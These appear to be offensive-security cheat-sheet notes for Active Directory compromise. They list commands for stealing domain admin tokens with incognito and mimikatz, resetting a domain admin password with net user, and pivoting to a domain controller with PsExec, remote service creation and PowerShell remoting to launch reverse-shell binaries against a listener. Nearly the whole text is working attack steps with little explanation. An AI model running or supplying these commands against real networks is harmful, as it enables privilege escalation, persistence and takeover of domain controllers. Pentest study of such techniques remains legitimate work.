incognito impersonate

.\incognito.exe list_tokens -u (find domain\admin delegation token)
.\incognito.exe execute -c "domain\admin" .\shell.exe

>> with domain admin shell, pivot to DC

mimikatz impersonate

.\mimikatz.exe " " " " "exit"
privilege::debug
token::list (to find any domain admin)

token::run /process:"C:\temp\shell.exe"

>> with domain admin shell, pivot to DC

pivoting

Create domain admin account as a DC admin / admin on DC ser so that no need the actual DC admin creds for persistence,

or change password net user adminuser pass123! /domain

smb (with dc user/admin creds)

dir \\DC01\c$ (to check if have access to dc)

PSexec.exe \\DC01 (-s) -c C:\temp\rev.exe -d -accepteula

sc pivot (smb) - DC admin

create service on the remote ser and start

query, stop, start, delete, and add system services

copy C:\temp\shell.exe \\DC01\C$\Windows\temp

sc \\DC01 create pivot binpath= "C:\Windows\temp\shell.exe"
sc \\DC01 start pivot

powershell - DC admin

$dcs = NEW-PSSession -Computer SANDBOXDC
Invoke-Command -Session $dcs -ScriptBlock {ipconfig}
(validate we can exec cmd to DC remotely)

Copy-Item "C:\Users\Public\shell.exe" -Destination "C:\Users\Public\" -ToSession $dcs

*setup listener

$dcs = NEW-PSSession -Computer SANDBOXDC
Invoke-Command -Session $dcs -ScriptBlock {C:\Users\Public\shell.exe}
